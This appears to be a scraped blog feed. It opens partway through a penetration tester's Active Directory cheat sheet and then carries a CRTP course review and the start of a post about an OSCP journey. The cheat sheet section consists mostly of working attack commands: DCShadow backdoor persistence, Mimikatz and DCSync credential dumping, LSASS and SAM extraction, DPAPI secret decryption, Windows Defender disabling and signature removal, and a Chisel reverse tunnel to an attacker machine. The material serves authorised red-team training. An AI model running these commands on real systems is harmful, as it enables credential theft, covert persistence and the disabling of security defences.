<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Set-DCShadowPermissions</span> -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose
</span></span></code></pre></div><p>Then, from any machine, use Mimikatz to stage the DCShadow attack.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span># Set SPN for user
</span></span><span style="display:flex;"><span>lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:&#34;SuperHacker/ServicePrincipalThingey&#34;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Set SID History for user (effectively granting them Enterprise Admin rights)
</span></span><span style="display:flex;"><span>lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Set Full Control permissions on AdminSDHolder container for user
</span></span><span style="display:flex;"><span>## Requires retrieval of current ACL:
</span></span><span style="display:flex;"><span>(New-Object System.DirectoryServices.DirectoryEntry(&#34;LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com&#34;)).psbase.ObjectSecurity.sddl
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>## Then get target user SID:
</span></span><span style="display:flex;"><span>Get-NetUser -UserName BackdoorUser | select objectsid
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
</span></span><span style="display:flex;"><span>lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])
</span></span></code></pre></div><p>Finally, from either a DA session OR a session as the user provided with the DCShadow permissions before, run the DCShadow attack. Actions staged previously will be performed without leaving any logs 😈</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>lsadump::dcshadow /push
</span></span></code></pre></div><h2 id="post-exploitation">Post-Exploitation</h2>
<h3 id="lsass-protection">LSASS protection</h3>
<p>Sometimes, LSASS is configured to run as a protected process (PPL). You can query this with PowerShell as follows.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-ItemProperty</span> -Path HKLM<span style="color:#a61717;background-color:#e3d2d2">:</span>\SYSTEM\CurrentControlSet\Control\Lsa -Name <span style="color:#ed9d13">&#34;RunAsPPL&#34;</span> 
</span></span></code></pre></div><p>If this is the case, you can&rsquo;t just dump or parse LSASS, and you need to disable the protection with something like <code>mimidrv.sys</code>. I won&rsquo;t discuss how to do that here, but there are tools such as <a href="https://github.com/itm4n/PPLdump">PPLDump</a> available to help.</p>
<h3 id="dumping-os-credentials-with-mimikatz">Dumping OS credentials with Mimikatz</h3>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span># Dump logon passwords
</span></span><span style="display:flex;"><span>sekurlsa::logonpasswords
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Dump all domain hashes from a DC
</span></span><span style="display:flex;"><span>## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
</span></span><span style="display:flex;"><span>lsadump::lsa /patch
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Dump only local users
</span></span><span style="display:flex;"><span>lsadump::sam
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># DCSync (requires &#39;ldap&#39; SPN)
</span></span><span style="display:flex;"><span>lsadump::dcsync /user:DOMAIN\krbtgt /domain:targetdomain.com
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
</span></span><span style="display:flex;"><span>vault::list
</span></span><span style="display:flex;"><span>vault::cred /patch
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Dump Kerberos encryption keys, including the AES256 key for better opsec (see &#39;Lateral Movement with Rubeus&#39; section) 
</span></span><span style="display:flex;"><span>sekurlsa::ekeys
</span></span></code></pre></div><h3 id="abusing-the-data-protection-api-dpapi-with-mimikatz">Abusing the Data Protection API (DPAPI) with Mimikatz</h3>
<p>Mimikatz has quite some functionality to access Windows&rsquo; DPAPI, which is used to encrypt many credentials, including e.g. browser passwords.</p>
<p>Note that Mimikatz will automatically cache the master keys that it has seen (check cache with <code>dpapi::cache</code>), but this does <em>NOT</em> work if no Mimikatz session is persisted (e.g. in Cobalt Strike or when using <code>Invoke-Mimikatz</code>). More information on using Mimikatz for DPAPI is available <a href="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials">here</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span># Find the IDs of protected secrets for a specific user
</span></span><span style="display:flex;"><span>dir C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Get information, including the used master key ID, from a specific secret (take the path from above)
</span></span><span style="display:flex;"><span>dpapi::cred /in:C:\Users\[USERNAME]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># IF YOU ARE PRIVILEGED
</span></span><span style="display:flex;"><span># Dump all master keys from the current system
</span></span><span style="display:flex;"><span>sekurlsa::dpapi
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># IF YOU ARE NOT PRIVILEGED (session as target user required)
</span></span><span style="display:flex;"><span># Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
</span></span><span style="display:flex;"><span>dpapi::masterkey /rpc /in:C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Protect\S-1-5-21-3865823697-1816233505-1834004910-1124\dd89dddf-946b-4a80-9fd3-7f03ebd41ff4
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span># Decrypt the secret using the retrieved master key
</span></span><span style="display:flex;"><span># Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
</span></span><span style="display:flex;"><span>dpapi::cred /in:C:\Users\[USERNAME]]\AppData\Local\Microsoft\Credentials\1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
</span></span></code></pre></div><h3 id="dumping-secrets-without-mimikatz">Dumping secrets without Mimikatz</h3>
<p>We can also parse system secrets without using Mimikatz on the target system directly.</p>
<h4 id="dumping-lsass">Dumping LSASS</h4>
<p>The preferred way to run Mimikatz is to do it locally with a dumped copy of LSASS memory from the target. <a href="https://github.com/outflanknl/Dumpert">Dumpert</a>, <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procdump">Procdump</a>, or other (custom) tooling can be used to dump LSASS memory.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly</span>
</span></span><span style="display:flex;"><span>.\procdump.exe -r -ma lsass.exe lsass.dmp
</span></span></code></pre></div><p>After downloading the memory dump file on our attacking system, we can run Mimikatz and switch to &lsquo;Minidump&rsquo; mode to parse the file as follows. After this, we can run Mimikatz&rsquo; credential retrieval commands as usual.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>sekurlsa::minidump lsass.dmp
</span></span></code></pre></div><h4 id="dumping-secrets-from-the-registry">Dumping secrets from the registry</h4>
<p>We can dump secrets from the registry and parse the files &ldquo;offline&rdquo; to get a list of system secrets. 🚩</p>
<p>On the target, we run the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>reg.exe save hklm\sam c:\users\public\downloads\sam.save
</span></span><span style="display:flex;"><span>reg.exe save hklm\system c:\users\public\downloads\system.save
</span></span><span style="display:flex;"><span>reg.exe save hklm\security c:\users\public\downloads\security.save
</span></span></code></pre></div><p>Then on our attacking box we can dump the secrets with Impacket:</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL &gt; secrets.out
</span></span></code></pre></div><h4 id="dumping-secrets-from-a-volume-shadow-copy">Dumping secrets from a Volume Shadow Copy</h4>
<p>We can also create a &ldquo;Volume Shadow Copy&rdquo; of the <code>SAM</code> and <code>SYSTEM</code> files (which are always locked on the current system), so we can still copy them over to our local system. An elevated prompt is required for this.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>wmic shadowcopy call create Volume=<span style="color:#ed9d13">&#39;C:\&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">copy </span>\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\public\sam.save
</span></span><span style="display:flex;"><span><span style="color:#24909d">copy </span>\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\public\system.save
</span></span></code></pre></div><h3 id="windows-defender-evasion">Windows Defender evasion</h3>
<p><em>Note: All below commands require administrative privileges on the system!</em></p>
<p>You can query Defender exclusions using PowerShell. If it returns any excluded paths, just execute your malware from there!</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Get-MpPreference</span> | <span style="color:#24909d">select-object</span> -ExpandProperty ExclusionPath
</span></span></code></pre></div><p>Alternatively, you could add an exclusion directory for your shady stuff. 👀</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#24909d">Add-MpPreference</span> -ExclusionPath <span style="color:#ed9d13">&#34;C:\Users\Public\Downloads\SuperLegitDownloadDirectory&#34;</span>
</span></span></code></pre></div><p>If you&rsquo;re more aggro, you can disable Defender entirely. It goes without saying that disabling AV/EDR products is never a good idea in practice, best to work around it instead. 🚩</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Disable realtime monitoring altogether</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Set-MpPreference</span> -DisableRealtimeMonitoring $true
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Only disables scanning for downloaded files or attachments</span>
</span></span><span style="display:flex;"><span><span style="color:#24909d">Set-MpPreference</span> -DisableIOAVProtection $true
</span></span></code></pre></div><p>As an alternative to disabling Defender, you can leave it enabled and just remove all virus signatures from it.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#ed9d13">&#34;C:\Program Files\Windows Defender\MpCmdRun.exe&#34;</span> -RemoveDefinitions -All
</span></span></code></pre></div><h3 id="chisel-proxying">Chisel proxying</h3>
<p>If you need to proxy traffic over a compromised Windows machine, <a href="https://github.com/jpillora/chisel">Chisel</a> (or <a href="https://github.com/shantanu561993/SharpChisel">SharpChisel</a>) is a good choice. Chisel allows port forwarding, but my favorite technique is setting up a reverse SOCKS proxy on the target machine, allowing you to tunnel any traffic over the target system.</p>
<p>On our attacking machine (Linux in this case), we start a Chisel server on port 80 in reverse SOCKS5 mode.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ./chisel server -p <span style="color:#3677a9">80</span> --reverse --socks5
</span></span></code></pre></div><p>Then, on our compromised target system, we connect to this server and tell it to proxy all traffic over it via the reverse SOCKS5 tunnel.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>.\chisel.exe client <span style="color:#3677a9">192.168</span>.49.<span style="color:#3677a9">67</span><span style="color:#a61717;background-color:#e3d2d2">:</span><span style="color:#3677a9">80</span> R:socks
</span></span></code></pre></div><p>A proxy is now open on port 1080 of our linux machine. We can now use e.g. ProxyChains to tunnel over the target system.</p>
<h3 id="juicy-files">Juicy files</h3>
<p>There are lots of files that may contain interesting information. Tools like <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">WinPEAS</a> or collections like <a href="https://github.com/PowerShellMafia/PowerSploit">PowerSploit</a> may help in identifying juicy files (for privesc or post-exploitation).</p>
<p>Below is a list of some files I have encountered to be of relevance. Check files based on the programs and/or services that are installed on the machine.</p>
<blockquote>
<p>In addition, don&rsquo;t forget to enumerate any local databases with <code>sqlcmd</code> or <code>Invoke-SqlCmd</code>!</p></blockquote>
<pre tabindex="0"><code># All user folders
## Limit this command if there are too many files ;)
tree /f /a C:\Users

# Web.config
C:\inetpub\www\*\web.config

# Unattend files
C:\Windows\Panther\Unattend.xml

# RDP config files
C:\ProgramData\Configs\

# Powershell scripts/config files
C:\Program Files\Windows PowerShell\

# PuTTy config
C:\Users\[USERNAME]\AppData\LocalLow\Microsoft\Putty

# FileZilla creds
C:\Users\[USERNAME]\AppData\Roaming\FileZilla\FileZilla.xml

# Jenkins creds (also check out the Windows vault, see above)
C:\Program Files\Jenkins\credentials.xml

# WLAN profiles
C:\ProgramData\Microsoft\Wlansvc\Profiles\*.xml

# TightVNC password (convert to Hex, then decrypt with e.g.: https://github.com/frizb/PasswordDecrypts)
Get-ItemProperty -Path HKLM:\Software\TightVNC\Server -Name &#34;Password&#34; | select -ExpandProperty Password
</code></pre>]]></content></item><item><title>Getting the CRTP Certification: 'Attacking and Defending Active Directory' Course Review</title><link>https://casvancooten.com/posts/2020/10/getting-the-crtp-certification-attacking-and-defending-active-directory-course-review/</link><pubDate>Tue, 13 Oct 2020 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2020/10/getting-the-crtp-certification-attacking-and-defending-active-directory-course-review/</guid><description>&lt;p>&lt;em>Updated &lt;strong>February 13th, 2023&lt;/strong>: The CRTP certification is now licensed by AlteredSecurity instead of PentesterAcademy, this blog post has been updated to reflect.&lt;/em>&lt;/p>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>As a red teamer -or as a hacker in general- you&amp;rsquo;re guaranteed to run into Microsoft&amp;rsquo;s Active Directory sooner or later. Almost every major organization uses Active Directory (which we will mostly refer to as &amp;lsquo;AD&amp;rsquo;) to manage authentication and authorization of servers and workstations in their environment. It is a complex product, and managing it securely becomes increasingly difficult at scale.&lt;/p></description><content type="html"><![CDATA[<p><em>Updated <strong>February 13th, 2023</strong>: The CRTP certification is now licensed by AlteredSecurity instead of PentesterAcademy, this blog post has been updated to reflect.</em></p>
<h2 id="introduction">Introduction</h2>
<p>As a red teamer -or as a hacker in general- you&rsquo;re guaranteed to run into Microsoft&rsquo;s Active Directory sooner or later. Almost every major organization uses Active Directory (which we will mostly refer to as &lsquo;AD&rsquo;) to manage authentication and authorization of servers and workstations in their environment. It is a complex product, and managing it securely becomes increasingly difficult at scale.</p>
<p>It is exactly for this reason that AD is so interesting from an offensive perspective. Due to the scale of most AD environments, misconfigurations that allow for lateral movement or privilege escalation on a domain level are almost always present. If you can effectively identify and exploit these misconfigurations, you can compromise an entire organization without even launching an exploit at a single server. Sounds cool, right?</p>
<p>Unfortunately, as mentioned, AD is a complex product and identifying and exploiting misconfigurations in AD environments is not always trivial. Furthermore, it can be daunting to &ldquo;start with&rdquo; AD exploitation because there&rsquo;s simply so much to learn. That&rsquo;s where the <a href="https://www.alteredsecurity.com/adlab">&lsquo;Attacking and Defending Active Directory Lab&rsquo; course by AlteredSecurity</a> comes in!</p>
<p>This course will grant you the Certified Red Team Professional (CRTP) certification if you manage to best the exam, and it will set you up with a sound foundation for further AD exploitation adventures! In this blog, I will be reviewing this course based on my own experiences with it (on the date of publishing this blog I got confirmation that I passed the exam 🎉).</p>
<h2 id="the-course">The Course</h2>
<p>The course describes itself as a &ldquo;beginner friendly&rdquo; course, supported by a lab environment &ldquo;for security professionals to understand, analyze, and practice threats and attacks in a modern Active Directory Environment&rdquo;. The theoretical part of the course is comprised of 37 videos (totaling approximately 14 hours of video material), explaining the various concepts and as well as walking through the various learning goals. An overview of the video material is provided on the <a href="https://www.alteredsecurity.com/adlab">course page</a>.</p>
<blockquote>
<p>Keep in mind that this course is aimed at beginners, so if you&rsquo;re familiar with Windows exploitation and/or Active Directory you will know a lot of the covered contents. Still, the discussion of underlying concepts will help even experienced red teamers get a better grip on the logic behind AD exploitation.</p></blockquote>
<p>The course theory, though not always living up to a high quality standard in terms of presentation and slide material, excels in terms of subject matter. The discussed concepts are relevant and actionable in real-life engagements. The outline of the course is as follows.</p>
<ul>
<li>Domain Enumeration</li>
<li>Local Privilege Escalation</li>
<li>Lateral Movement</li>
<li>Domain Persistence</li>
<li>Domain Privilege Escalation</li>
<li>Cross-Forest Attacks</li>
<li>Forest Persistence</li>
<li>Detection and Defense</li>
</ul>
<p>Since I have some experience with hacking through my work and OSCP (see my earlier blog posts 🙃), the section on privesc as well as some basic AD concepts were familiar to me. However, I was caught by surprise on how much new techniques there are to discover, especially in the domain persistence section (often overlooked!).</p>
<p>You may notice that there is only one section on detection and defense. While interesting, this is <em>not</em> the main selling point of the course. If you&rsquo;re a blue teamer looking to improve their AD defense skills, this course will help you understand the &lsquo;red&rsquo; mindset, possible configuration flaws, and to some extent how to monitor and detect attacks on these flaws. However, the exam is fully focused on red so I would say just the course materials should suffice for most blue teamers (unless you&rsquo;re up for an offensive challenge!).</p>
<p>To help you judge whether or not this course is for you, here are some of the key techniques discussed in the course. If you know all of the below, then this course is probably not for you! <em>Note, this list is not exhaustive and there are much more concepts discussed during the course.</em></p>
<ul>
<li>Domain enumeration, manual and using BloodHound (♥)</li>
<li>Kerberoasting, AS-REP roasting</li>
<li>ACL-based attacks and persistence mechanisms</li>
<li>Golden- and silver ticket attacks</li>
<li>Constrained- and unconstrained delegation attacks</li>
<li>Domain trust abuse, inter- and intra-forest</li>
<li>Basic MSSQL-based lateral movement techniques</li>
<li>Basic Antivirus, AMSI, and AppLocker evasion</li>
<li>Persistence attacks, such as DCShadow, Skeleton Key, DSRM admin abuse, etc.</li>
</ul>
<h2 id="the-labs">The Labs</h2>
<p>Where this course shines, in my opinion, is the lab environment. Overall, the lab environment of this course is nothing advanced, but it&rsquo;s the most stable and accessible lab environment I&rsquo;ve seen so far. AlteredSecurity provides VPN access as well as online RDP access over Guacamole. I&rsquo;m usually not a big fan of online access, but in this instance it works really well and it makes the course that much more accessible.</p>
<p>The environment itself contains approximately 10 machines, spread over two forests and various child forests. It is explicitly <em>not</em> a challenge lab, rather AlteredSecurity describes it as a &ldquo;practice lab&rdquo;. This checks out - if you just rush through the labs it will maybe take you a couple of hours to become Enterprise Admin. If you however use them as they are designed and take multiple approaches to practicing a variety of techniques, they will net you a lot more value.</p>
<blockquote>
<p>If you are looking for a challenge lab to test your skills without as much guidance, maybe the <a href="https://help.hackthebox.eu/forindividuals/what-are-prolabs">HackTheBox Pro Labs</a> or the <a href="https://www.alteredsecurity.com/redteamlab">CRTE course</a> are more for you!</p></blockquote>
<p>During the course, mainly PowerShell-based tools are used for enumeration and exploitation of AD vulnerabilities (this makes sense, since the instructor is the author of <a href="https://github.com/samratashok/nishang">Nishang</a>). However, it is expressed multiple times that you are <em>not</em> bound to the tools discussed in the course - and I, too, would encourage you to use your lab time to practice a variety of tools, techniques, and even C2 frameworks. The lab is not internet-connected, but through the VPN endpoint the hosts can reach your machine (and as such, hosted files).</p>
<p>Personally, I ran through the learning objectives using the recommended, PowerShell-based, tools. I ran through the labs a second time using Cobalt Strike and .NET-based tools, which confronted me with a whole range of new challenges and learnings. Due to the accessibility of the labs, it provides a great environment to test new tools and techniques as you discover them.</p>
<h2 id="the-exam">The Exam</h2>
<p>The CRTP certification exam is not one to underestimate. It consists of five target machines, spread over multiple domains. This is not counting your student machine, on which you start with a low-privileged foothold (similar to the labs). The goal is to get command execution (not necessarily privileged) on all of the machines. Similar to OSCP, you get 24 hours to complete the practical part of the exam. After that, you get another 48 hours to complete and submit your report.</p>
<p>I experienced the exam to be in line with the course material in terms of required knowledge. That does not mean, however, that you will be able to complete the exam with <em>just</em> the tools and commands from the course! The exam will contain some interesting variants of covered techniques, and some steps that are quite well-hidden and require careful enumeration. That said, the course itself provides a good foundation for the exam, and if you ran through all the learning objectives and -more importantly- understand the covered concepts, you will be more than likely good to go.</p>
<p>In total, the exam took me 7 hours to complete. Machines #2 and #3 in my version of the exam took me the most time due to some tooling issues and very extensive required enumeration, respectively. Otherwise, the path to exploitation was pretty clear, and exploiting identified misconfigurations is fairly straightforward for the most part. As such, I think the 24 hours should be enough to compromise the labs if you spent enough time preparing. Additionally, I read online that it is not necessarily required to compromise all five machines, but I wouldn&rsquo;t bet on this as AlteredSecurity is not very transparent on the passing requirements!</p>
<p>The exam requires a report, for which I reflected <a href="https://cas.vancooten.com/posts/2020/05/generating-pretty-pwk-reports-with-pandoc-and-markdown-templates-inside/">my reporting strategy for OSCP</a>. I prepared the overall report template beforehand (based on my <a href="https://github.com/chvancooten/OSCP-MarkdownReportingTemplates">PWK reporting templates</a>), and used a wireframe Markdown template to keep notes as I went. After completing the exam, I finalized my notes, merged them into the master document, converted it to Word format using Pandoc, and spend about 30 minutes styling my report (I&rsquo;m a perfectionist, I know). Overall, the full exam cost me 10 hours, including reporting and some breaks.</p>
<p>I can obviously not include my report as an example, but the Table of Contents looked as follows.</p>
<p><img src="/images/crtp-report.png" alt="PWK Lab Progression"></p>
<h2 id="crtp-preparation-tips">CRTP Preparation Tips</h2>
<p>So, you&rsquo;ve decided to take the plunge and register for CRTP? Cool! Please find below some of my tips that will help you prepare for, and hopefully nail, the CRTP certification (and beyond). As always, don&rsquo;t hesitate to reach out <a href="https://twitter.com/chvancooten">on Twitter</a> if you have some unanswered questions or concerns. Always happy to help!</p>
<ul>
<li><strong>Choose the right timing:</strong> Even though this course is specifically for beginners, it may not be the most suitable course to start your hacking career with (depending on your desired career path). General exploitation and hacking handicraft are not covered as much as they are with e.g. OSCP, as the course focuses solely on AD exploitation (with a <em>very</em> brief primer on local privilege escalation for Windows). However, if you are a beginning red teamer looking to get a better track record with AD, this course is likely a step in the right direction. Obviously, there&rsquo;s no right order in which to take courses, just think about your current skillset and desired development path, then decide if this course fits the bill.</li>
<li><strong>Enrich the theory:</strong> Even though the videos and course guide do a good job of walking you through the various subjects, I can always recommend doing your own research in addition to the provided videos. Reading e.g. blogs on tools and techniques that you use will greatly help improve your insight and help actualize your skills even more.</li>
<li><strong>Get comfortable in the labs:</strong> Depending on the amount of lab time you have, there&rsquo;s probably no rush. The CRTP course is doable in about one month, but that does not mean you should limit your lab time to 30 days. I would recommend getting more time, especially if you want to research techniques and play around in the labs on your own to try out your new hacking toys in a safe environment.</li>
<li><strong>Create a cheat sheet:</strong> You will find yourself using a lot of similar commands during the course and exam. As such, it&rsquo;s useful to create a list of your favorite and most-used commands, so you can simply copy and paste without looking up the syntax every time. Furthermore, a structured cheat sheet will help you ensure that you don&rsquo;t overlook anything in your enumeration, something that is <em>very</em> important for CRTP.</li>
<li><strong>Prepare your report beforehand:</strong> Even though CRTP gives you 48 hours to come up with a report, creating a report template will help you mentally prepare for the exam as well as structure your as-you-go notes in advance. Doing this will prevent you having to do a lot of writing and note adaptation after you finished your exam.</li>
</ul>
<p><strong>So&hellip; Where&rsquo;s that cheat sheet?</strong></p>
<p>As you may have guessed based on the above, I compiled a cheat sheet and command reference based on the theory discussed during CRTP. I enriched this with some commands I personally use a lot for AD enumeration and exploitation.</p>
<p>I will publish this cheat sheet on this blog, but since I&rsquo;m set to do CRTE (the <a href="https://www.alteredsecurity.com/redteamlab">Red Teaming Labs</a> offered by AlteredSecurity) soon, I will hold off publishing my cheat sheet until after this so that I can aggregate and finalize the listed commands and techniques. If you&rsquo;re hungry for cheat sheets in the meantime, <a href="https://cas.vancooten.com/posts/2020/05/oscp-cheat-sheet-and-command-reference/">you can find my OSCP cheat sheet here</a>. Watch this space for more soon!</p>
]]></content></item><item><title>Try Harder: Yet Another Journey To OSCP</title><link>https://casvancooten.com/posts/2020/05/try-harder-yet-another-journey-to-oscp/</link><pubDate>Sun, 17 May 2020 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2020/05/try-harder-yet-another-journey-to-oscp/</guid><description>&lt;p>&lt;em>The first part of this blog post dives into my personal OSCP story. If you&amp;rsquo;re only interested in stuff you can apply to your own PWK journey, jump to the &lt;a href="#takeaways">key takeaways&lt;/a> or the &lt;a href="#oscp-faq">OSCP FAQ&lt;/a>.&lt;/em>&lt;/p>
&lt;h2 id="preamble">Preamble&lt;/h2>
&lt;p>I don&amp;rsquo;t have a very technical background. I did a Master&amp;rsquo;s in Information Science before starting as a Cyber Security Consultant. In my current role, I deal with various cyber topics on an organizational level - usually not from a very technical perspective.&lt;/p></description><content type="html"><![CDATA[<p><em>The first part of this blog post dives into my personal OSCP story. If you&rsquo;re only interested in stuff you can apply to your own PWK journey, jump to the <a href="#takeaways">key takeaways</a> or the <a href="#oscp-faq">OSCP FAQ</a>.</em></p>
<h2 id="preamble">Preamble</h2>
<p>I don&rsquo;t have a very technical background. I did a Master&rsquo;s in Information Science before starting as a Cyber Security Consultant. In my current role, I deal with various cyber topics on an organizational level - usually not from a very technical perspective.</p>
<p>As such, when a couple of colleagues were planning to enroll in PWK and go for the OSCP certification together, my plan was initially to &ldquo;just tag along&rdquo;. That turned out a bit differently! In the week of writing this blog post, I was informed that I passed the PWK exam and have obtained the OSCP certification. In this post, I&rsquo;ll outline my journey from script kiddie to <em>certified</em> script kiddie!</p>
<h2 id="act-i---humble-beginnings">Act I - Humble Beginnings</h2>
<p>My investment in hacking started with an &ldquo;OSCP preparation day&rdquo;, organized by said colleagues late last year. During this day, pretty much all we did was get together and own some <a href="https://www.hackthebox.eu/">Hack The Box</a> machines that are similar to OSCP. I had some experience with hacking from earlier courses and one or two HTB machines, but this practice day really sparked my interest in improving my <code>1337 h4ck1ng sk1llz</code>.</p>
<p>From that point, I was motivated to start practicing my skills through HTB. I started with some active machines, but since the learning curve for these is usually quite steep I quickly purchased a VIP subscription. My main guide from that point was <a href="https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159">TJ_Null&rsquo;s &ldquo;OSCP-like&rdquo; machines list</a>. Of course, I would also have a look at newly released machines now and then. A man needs that HTB rank!</p>
<blockquote>
<p>If you&rsquo;re interested, you can find my HTB machine progression <a href="https://www.hackthebox.eu/profile/73268">here</a>. My favorite machine from that time is probably <a href="https://www.hackthebox.eu/home/machines/profile/212">Forest</a>. It took me quite some time and effort to complete back then, but really did introduce me to Windows and Active Directory hacking concepts.</p></blockquote>
<p>At this point, I was still convinced I would probably never make OSCP and was just tagging along for the ride. However, hacking HTB machines really felt like a hobby rather than work, and my evening and weekend hours on learning new hacking tricks really energized me. Slowly but surely, I realized I was actually getting kind of good at this!</p>
<h2 id="act-ii---getting-real">Act II - Getting Real</h2>
<p>Over time, I was getting more and more dedicated to practice with HTB in my evenings and weekends. In the three months following up the initial practice day, I had completed approximately 50 HTB machines, ranging from easy to hard difficulty. Through HTB, I can now say I have learned many hacking techniques and tricks that would later prove invaluable. Even more so, I had gotten comfortable with the underlying concepts and technologies that were so foreign to me when I started.</p>
<p>By the end of January (about three months in), some colleagues had convinced me to take the plunge and just go for it. Since my employer agreed to pay for the costs of PWK (a <em>very</em> big plus), I decided to enroll in PWK with a mid-February start date. Since I enrolled just before the announcement of the <a href="https://www.offensive-security.com/offsec/pwk-2020-update/">2020 version</a> of the PWK course, Offensive Security got me an upgrade to that version, which was awesome!</p>
